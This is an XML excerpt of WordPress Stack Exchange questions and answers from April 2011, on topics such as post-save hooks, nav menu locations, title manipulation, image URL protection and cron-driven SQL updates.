  <row Id="14111" PostTypeId="2" ParentId="14108" CreationDate="2011-04-06T20:21:34.267" Score="1" ViewCount="" Body="&lt;p&gt;So you first tried hooking on to &lt;code&gt;wp_insert_post_data&lt;/code&gt; and could save the meta data when saving Drafts but not when publishing.  Then you tried hooking on to &lt;code&gt;save_post&lt;/code&gt; and could save meta data when publishing but not when saving Drafts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest solution would be to hook on to both.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post', 'save_details');&#xA;add_action('wp_insert_post_data', 'save_details');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Edit&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;save_post&lt;/code&gt; and &lt;code&gt;wp_insert_post_data&lt;/code&gt; are called at the same time and pass two parameters to callback functions.  In the source, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do_action('save_post', $post_ID, $post);&#xA;do_action('wp_insert_post', $post_ID, $post);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bbut your function isn't accepting any parameters.  This will make &lt;code&gt;return $post_ID&lt;/code&gt; fail and will likely cause other issues as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_details( $post_ID, $post ) {&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And your hook should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post', 'save_details', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will pass both &lt;code&gt;$post_ID&lt;/code&gt; and &lt;code&gt;$post&lt;/code&gt; into your function and &lt;em&gt;should&lt;/em&gt; make things run a bit more smoothly.&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-04-06T20:36:13.890" LastActivityDate="2011-04-06T20:36:13.890" CommentCount="5" />
  <row Id="14112" PostTypeId="1" AcceptedAnswerId="14113" CreationDate="2011-04-06T20:26:04.487" Score="0" ViewCount="82" Body="&lt;p&gt;I'm trying to test the comments template on a theme that is based on TwentyTen, using the the WP Theme Unit Test XML file, and there is one post that does not display comments properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post is called &quot;Comment Test&quot;, and it contains 20 comments, including 2 pingbacks. The only thing that displays are the pingbacks. Is that the expected behavior? I can't seem to figure out why it's only displaying the pingbacks. Perhaps there is a setting I missed in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to reproduce this, is to create a blog, apply the TwentyTen theme, and import the WP Theme Unit Test file: &lt;a href=&quot;http://svn.automattic.com/wpcom-themes/demo/test-data.2011-01-17.xml&quot; rel=&quot;nofollow&quot;&gt;http://svn.automattic.com/wpcom-themes/demo/test-data.2011-01-17.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then visit the post called &quot;Comment Test&quot;, published on March 3, 2008. You should see it say &quot;20 Responses to Comment Test&quot;, and underneath it you should see 2 pingbacks, no comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for you help,&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-04-06T20:48:29.243" Title="WordPress TwentyTen Theme Incompatible with Theme Unit Test" Tags="&lt;themes&gt;&lt;comments&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="14113" PostTypeId="2" ParentId="14112" CreationDate="2011-04-06T20:43:15.707" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Twenty Ten has been &lt;a href=&quot;http://themes.trac.wordpress.org/ticket/439&quot; rel=&quot;nofollow&quot;&gt;tested by the theme review team&lt;/a&gt; and it passes all the unit tests.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see how it looks on one of the &lt;a href=&quot;http://demo.wordpressthemesshare.com/2008/03/comment-test/&quot; rel=&quot;nofollow&quot;&gt;demo test installs&lt;/a&gt; or another &lt;a href=&quot;http://fightshorts.info/2008/03/comment-test/&quot; rel=&quot;nofollow&quot;&gt;install I found&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try doing a fresh install of WordPress with a new database with no plugins.&lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T20:48:29.243" LastActivityDate="2011-04-06T20:48:29.243" CommentCount="1" />
  <row Id="14114" PostTypeId="1" AcceptedAnswerId="14115" CreationDate="2011-04-06T20:52:59.767" Score="0" ViewCount="151" Body="&lt;p&gt;hey guys,&#xA;&lt;code&gt;&amp;lt;?php urlencode(the_title()); ?&amp;gt;&lt;/code&gt;doesn't take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my entrie line of code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;mailto:?subject=&amp;lt;?php urlencode(the_title()); ?&amp;gt;&amp;amp;amp;body=&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;e-mail&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have spaces in the_title(). Why does urlencode not work for me?&lt;/p&gt;&#xA;" OwnerUserId="3529" LastActivityDate="2011-04-06T20:59:01.643" Title="urlencoding of the_title() doesn't work?" Tags="&lt;php&gt;&lt;urls&gt;" AnswerCount="1" />
  <row Id="14115" PostTypeId="2" ParentId="14114" CreationDate="2011-04-06T20:59:01.643" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;the_title()&lt;/code&gt; echo the title. You must use &lt;code&gt;get_the_title()&lt;/code&gt; instead. get_the_title() returns the title as string. Use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? echo urlencode(get_the_title()) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-04-06T20:59:01.643" CommentCount="2" />
  <row Id="14116" PostTypeId="1" AcceptedAnswerId="14128" CreationDate="2011-04-06T21:06:56.807" Score="0" ViewCount="120" Body="&lt;p&gt;The script below creates a nav menu and assigns a page to it. Everything's working perfectly except that the nav menu is not being automatically assigned to my theme's &quot;Header-menu&quot; location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Register menu locations for the theme&#xA;add_action( 'init', 'register_my_menus' );&#xA;function register_my_menus() {&#xA;  register_nav_menus(&#xA;    array('header-menu' =&amp;gt; __( 'Header Menu' ), 'footer-menu' =&amp;gt; __( 'Footer Menu' ))&#xA;  );&#xA;}&#xA;&#xA;//Create a nav menu, add a page to it and assign it to the theme's &quot;header-menu&quot; location.&#xA;$menu_id = wp_create_nav_menu( 'header-menu' );&#xA;$menu = array( &#xA;    'menu-item-type' =&amp;gt; 'custom', &#xA;    'menu-item-url' =&amp;gt; get_home_url('/'),&#xA;    'menu-item-title' =&amp;gt; 'Home', &#xA;    'menu-item-status' =&amp;gt; 'publish', &#xA;    'theme_location' =&amp;gt; 'header-menu', //Just a guess but didn't work!!!&#xA;    );&#xA;wp_update_nav_menu_item( $menu_id, 0, $menu );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-06T21:45:47.133" LastActivityDate="2011-04-06T23:48:25.773" Title="Custom nav menu is created with default pages, but not hooked to theme's custom menu location" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="14117" PostTypeId="2" ParentId="14103" CreationDate="2011-04-06T21:10:53.037" Score="0" ViewCount="" Body="&lt;p&gt;From the looks of things, you just have &lt;em&gt;way too many&lt;/em&gt; custom fields.  I would highly recommend creating a few custom meta boxes to handle them rather than relying entirely on the dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;http://www.farinspace.com/how-to-create-custom-wordpress-meta-box/&quot; rel=&quot;nofollow&quot;&gt;a few good tutorials&lt;/a&gt; out there, and whoever ends up maintaining the site will thank you for building a clean, easy-to-navigate UI.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-06T21:10:53.037" />
  <row Id="14118" PostTypeId="2" ParentId="14103" CreationDate="2011-04-06T21:42:40.953" Score="3" ViewCount="" Body="&lt;p&gt;There's a limit set inside the function that lists the meta data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/template.php#L512&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/includes/template.php#L512&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run a filter on &lt;code&gt;postmeta_form_limit&lt;/code&gt; to increase to your desired value, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'postmeta_form_limit', 'meta_limit_increase' );&#xA;function meta_limit_increase( $limit ) {&#xA;    return 50;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-04-06T21:42:40.953" CommentCount="2" />
  <row Id="14119" PostTypeId="1" CreationDate="2011-04-06T22:12:48.843" Score="-1" ViewCount="106" Body="&lt;p&gt;have anyone managed to succesfully implement faceted navigation in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using taxonomies and categories I think that it can be done but don't know how to implement the &quot;url&quot; part of faceted navigation and also how to implement the filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://experiencinginformation.wordpress.com/2010/09/04/faceted-navigation-seo-and-facets/&quot; rel=&quot;nofollow&quot;&gt;http://experiencinginformation.wordpress.com/2010/09/04/faceted-navigation-seo-and-facets/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2011-04-07T10:12:06.187" Title="Faceted Navigation in Wordpress" Tags="&lt;navigation&gt;" AnswerCount="1" />
  <row Id="14120" PostTypeId="1" AcceptedAnswerId="14127" CreationDate="2011-04-06T22:33:57.683" Score="0" ViewCount="81" Body="&lt;p&gt;I have a widget that shows all the post names. All the post names are &quot;Chapter ## - Title&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the php in the widget to remove the &quot;Chapter 1 -&quot; or &quot;Chapter 12 -&quot; for example so that just the part after the Chapter is left....&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-04-08T13:28:36.793" Title="Removing the first 8-10 letters from a post?" Tags="&lt;php&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14121" PostTypeId="1" AcceptedAnswerId="14161" CreationDate="2011-04-06T22:42:04.623" Score="1" ViewCount="92" Body="&lt;p&gt;I'm using a custom post type with custom meta fields, but autosave and the &quot;unsaved changes&quot; dialog don't seem to be triggered for these custom meta fields. Autosave isn't as important to me as the unsaved changes dialog - is there a way to trigger it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_meta_boxes() {&#xA;    add_meta_box('places_location', __('Location'), array(&amp;amp;$this, 'location_box'), 'place', 'normal', 'high');&#xA;}&#xA;&#xA;function location_box($post) {&#xA;    wp_nonce_field(plugin_basename(__FILE__), 'places_location_nonce');&#xA;&#xA;    $lat = get_post_meta($post-&amp;gt;ID, 'places_lat', true);&#xA;    $lng = get_post_meta($post-&amp;gt;ID, 'places_lng', true);&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            Latitude:&#xA;            &amp;lt;input name=&quot;places_lat&quot; value=&quot;&amp;lt;?php echo esc_attr($lat); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;        &amp;lt;label&amp;gt;&#xA;            Longitude:&#xA;            &amp;lt;input name=&quot;places_lng&quot; value=&quot;&amp;lt;?php echo esc_attr($lng); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function save_place($id) {&#xA;    // skip unverified location nonces&#xA;    if(!wp_verify_nonce($_POST['places_location_nonce'], plugin_basename(__FILE__))) return;&#xA;&#xA;    // skip autosave calls&#xA;    // commenting this out still doesn't trigger saving these fields on autosave&#xA;    //if(defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE) return;&#xA;&#xA;    // update our custom post meta&#xA;    update_post_meta($id, 'places_lat', (float)$_POST['places_lat']);&#xA;    update_post_meta($id, 'places_lng', (float)$_POST['places_lng']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="1571" LastEditorDisplayName="" LastEditDate="2011-04-07T02:03:29.970" LastActivityDate="2011-04-07T10:33:19.353" Title="Trigger &quot;unsaved changes&quot; dialog for custom post meta changes" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;save-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14122" PostTypeId="2" ParentId="14120" CreationDate="2011-04-06T23:02:25.783" Score="1" ViewCount="" Body="&lt;p&gt;You can use php strpos function with substr function go get just the part you want for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = substr($post-&amp;gt;post_title,strpos($post-&amp;gt;post_title, &quot; - &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will look for &quot; - &quot; inside the string and return all chars after it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;simply change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php printf(__('Permanent Link to %s','PureType'), get_the_title()) ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php substr($post-&amp;gt;post_title,strpos($post-&amp;gt;post_title, &quot; - &quot;); ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-08T13:28:36.793" LastActivityDate="2011-04-08T13:28:36.793" CommentCount="5" />
  <row Id="14123" PostTypeId="1" AcceptedAnswerId="15439" CreationDate="2011-04-06T23:14:12.493" Score="1" ViewCount="112" Body="&lt;p&gt;I already use WordPress to create an online catalog and web presence. Now, a little box tells people to enter their email, and they will receive an email when a new product is added to the site (which is useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, having entered the emails manually or asking people to enter it, I would like to have a little CRM for managing those mails, getting the names, phones, emails, addresses, and references (why they are in the database) - all in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when new content is added, or when I would like to send all those people info (mass mailing), I can use the same system as for managing my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What solutions have you tried and used for this?&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-07T09:55:50.663" LastActivityDate="2011-07-16T10:47:23.873" Title="CRM and newsletter integration?" Tags="&lt;plugin-recommendation&gt;&lt;cms&gt;&lt;crm&gt;&lt;mailing-list&gt;&lt;newsletter&gt;" AnswerCount="2" />
  <row Id="14124" PostTypeId="1" CreationDate="2011-04-06T23:16:40.100" Score="-1" ViewCount="86" Body="&lt;p&gt;&lt;code&gt;index.php?tag=tag1+tag2&lt;/code&gt; redirects to home&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sk-multi-tag/&quot; rel=&quot;nofollow&quot;&gt;sk multi tag - wordpress.org&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4496" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-07T09:49:07.440" LastActivityDate="2011-04-07T09:50:53.757" Title="&quot;Sk Multi Tag&quot; does not work with WordPress 3.1.1" Tags="&lt;3.1&gt;&lt;plugin-sk-multi-tag&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="14125" PostTypeId="2" ParentId="7082" CreationDate="2011-04-06T23:22:23.890" Score="0" ViewCount="" Body="&lt;p&gt;I use : 960 x 560, fit perfect everywhere. My receipe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;view : &lt;a href=&quot;http://www.w3schools.com/browsers/browsers_display.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/browsers/browsers_display.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-04-06T23:22:23.890" />
  <row Id="14126" PostTypeId="1" CreationDate="2011-04-06T23:41:11.103" Score="1" ViewCount="166" Body="&lt;p&gt;I was hoping it would be possible to save original images to a separate directory to the resized images so that they could be safely hidden but this seems to be too difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am now asking if there are any ways of protecting original full-size images from public but still allow them to view the re-sized images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about hiding/protecting images on screen, moreover ways of giving original images &lt;em&gt;unguessable&lt;/em&gt; url's or some such scheme to stop them from possibly being downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;uploads/my_image-200x200.jpg&lt;/code&gt; (given this url)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;uploads/my_image.jpg&lt;/code&gt; (this url can be easily worked out)&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-04-07T16:31:04.457" Title="hide/protect original full-size images" Tags="&lt;images&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="14127" PostTypeId="2" ParentId="14120" CreationDate="2011-04-06T23:47:27.917" Score="1" ViewCount="" Body="&lt;p&gt;This is a new query loop that I use that shows the latest ten post titles/permalinks in the category mycategoryname and strips the first 15 characters from all of the titles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('category_name=mycategoryname&amp;amp;showposts=10'); ?&amp;gt;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;Permanent Link to: &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php $mytitle = get_the_title(); $mytitle = substr($mytitle,15); echo $mytitle; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to select which posts to strip either 8 or 10 characters, you'd have to select them by some sort of criterea and alternate that character number.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-06T23:47:27.917" />
  <row Id="14128" PostTypeId="2" ParentId="14116" CreationDate="2011-04-06T23:48:25.773" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_create_nav_menu()&lt;/code&gt; function accepts the menu name and not the menu location.&#xA;and as for &lt;code&gt;wp_update_menu_item()&lt;/code&gt; well its for items and not the menu itself.&#xA;After digging in the code i found out that &quot;assignment&quot; of 'theme location' to a menu is not done using of the nav_menu API in WordPress but with theme options so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get the current theme&#xA;$theme = get_current_theme();&#xA;//get theme's mods&#xA;$mods = get_option(&quot;mods_$theme&quot;);&#xA;//update mods with menu id at theme location&#xA;$mods['nav_menu_locations']['header-menu'] = $menu_id;&#xA;update_option(&quot;mods_$theme&quot;, $mods);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-06T23:48:25.773" CommentCount="2" />
  <row Id="14129" PostTypeId="1" CreationDate="2011-04-06T22:54:48.517" Score="1" ViewCount="119" Body="&lt;p&gt;I have searched online for a &quot;table of contents&quot; generator for WordPress.com but in vain. I can find plugins for WordPress.org. I am looking for WordPress.com. Is there any text widget that creates a &quot;Table of Contents&quot; for WordPress.com?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-07T02:18:36.210" LastActivityDate="2011-09-04T22:42:20.810" Title="&quot;table of contents&quot; text widget for WordPress.com" Tags="&lt;widgets&gt;&lt;wordpress.com&gt;&lt;blogging&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="14131" PostTypeId="2" ParentId="14126" CreationDate="2011-04-07T00:21:21.190" Score="1" ViewCount="" Body="&lt;p&gt;There's only one thing I know for sure - your images will be NEVER secure if you display their thumbnails based on the real URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have a few ideas, the first one looks great and should work for you. Mixing them together will make accessing your images much more harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit wp-includes\media.php file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 435:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$suffix = &quot;{$dst_w}x{$dst_h}&quot;;&#xA;&#xA;$info = pathinfo($file);&#xA;$dir = $info['dirname'];&#xA;$ext = $info['extension'];&#xA;$name = wp_basename($file, &quot;.$ext&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Playing with $suffix and $name could do the thing, give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. changing $sufix to &quot;something&quot; will output thumbnail names as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;uploads/my_image-something.jpg&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Still easy to guess, but what will happen when you add something before &quot;my_image&quot;? Something random + random jpgs names = seems pretty secure to me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use &lt;a href=&quot;http://code.google.com/p/timthumb/&quot; rel=&quot;nofollow&quot;&gt;TimThumb&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It creates thumbnails &quot;on the fly&quot;, eg. you have www.domain.com/myimage.jpg and you want to display 200x200 thumbnail, so you just put timthumb.php wherever you want and then write something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;timthumb.php?src=www.domain.com/myimage.jpg&amp;amp;h=200&amp;amp;w=200&amp;amp;zc=1&quot; alt=&quot;&quot;&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not perfect but always harder than plain link, especially when it comes to bot image harvesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/watermark-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Watermark plugin&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably the most &quot;secure&quot; option, especially when you create thumbnails before adding watermarks to the full size images. &lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-04-07T00:35:26.613" LastActivityDate="2011-04-07T00:35:26.613" CommentCount="1" />
  <row Id="14132" PostTypeId="1" CreationDate="2011-04-07T00:29:34.713" Score="2" ViewCount="120" Body="&lt;p&gt;Hi to all I need to run this twice a day:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[img]', '&amp;lt;img src=&quot;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[IMG]', '&amp;lt;img src=&quot;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/img]', '&quot; /&amp;gt;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/IMG]', '&quot; /&amp;gt;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[b]', '&amp;lt;strong&amp;gt;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[B]', '&amp;lt;strong&amp;gt;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/b]', '&amp;lt;/strong&amp;gt;' );&#xA;UPDATE wp_posts SET post_content = REPLACE ( post_content, '[/B]', '&amp;lt;/strong&amp;gt;' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can do it? I don't want to run it manually and I can't do it each time a post is published because I'm running a MU website and my authors are too lazy to modify their code from bbCode to HTML.&#xA;I'm using cPanel so I can add a CronJob easily if you teach me how to do it.&#xA;Thanks to all!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-08-05T18:39:14.833" Title="Use Cron to modify posts via sql" Tags="&lt;posts&gt;&lt;sql&gt;&lt;cron&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" />
  <row Id="14133" PostTypeId="2" ParentId="14132" CreationDate="2011-04-07T00:46:33.937" Score="1" ViewCount="" Body="&lt;p&gt;You can create a php file that includes wp-load.php like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(wp-load.php');&#xA;global $wpdb;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you do that you have access to anything in wordpress, including the database object so you can execute queries using $wpdb-&gt;query();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can just load that file via cron (you probably have to wget the URL via the webserver). &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-04-07T00:46:33.937" CommentCount="1" />
  <row Id="14134" PostTypeId="2" ParentId="14129" CreationDate="2011-04-07T00:51:26.007" Score="0" ViewCount="" Body="&lt;p&gt;You probably want to search for a sitemap or categories widget, depending on how deep you want it to go. &lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-04-07T00:51:26.007" />
  <row Id="14135" PostTypeId="1" AcceptedAnswerId="14447" CreationDate="2011-04-07T01:01:02.263" Score="2" ViewCount="254" Body="&lt;p&gt;I have a rating system where the user can enter a custom field of either &quot;Stars&quot; or &quot;Hearts&quot;, but whichever one they choose they have to enter a value of 1 thru 5. Using wp_query, I can successfully sort by one of these custom fields, but I'm not sure how to sort by both. Here is the code I'm using to sort by one of the custom fields &quot;Stars&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;'posts_per_page' =&amp;gt; $con_review_num,&#xA;'post_type' =&amp;gt; 'con_product_reviews',&#xA;'paged' =&amp;gt; $paged,&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'DESC',&#xA;'meta_key' =&amp;gt; 'Stars'   &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I wish this function would do (notice the last line):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;'posts_per_page' =&amp;gt; $con_review_num,&#xA;'post_type' =&amp;gt; 'con_product_reviews',&#xA;'paged' =&amp;gt; $paged,&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'DESC',&#xA;'meta_key' =&amp;gt; 'Stars Hearts'    &#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there another way to do that?&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-04-10T21:32:04.193" Title="How do I order by multiple custom fields using wp_query?" Tags="&lt;custom-field&gt;&lt;wp-query&gt;" AnswerCount="3" />
  <row Id="14136" PostTypeId="1" AcceptedAnswerId="14146" CreationDate="2011-04-07T01:22:13.903" Score="-2" ViewCount="88" Body="&lt;p&gt;Hi to all I would like to add a &quot;premium&quot; section to my wordpress blog and I would like to force users to click on a banner before being allowed to register to my blog, any step 2 step idea on how to solve this problem?&#xA;The banner will be html or js.&#xA;Thanks a lot to all!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastActivityDate="2011-04-13T00:46:03.883" Title="Click on banner to register to the blog" Tags="&lt;login&gt;&lt;registration&gt;" AnswerCount="1" FavoriteCount="1" />
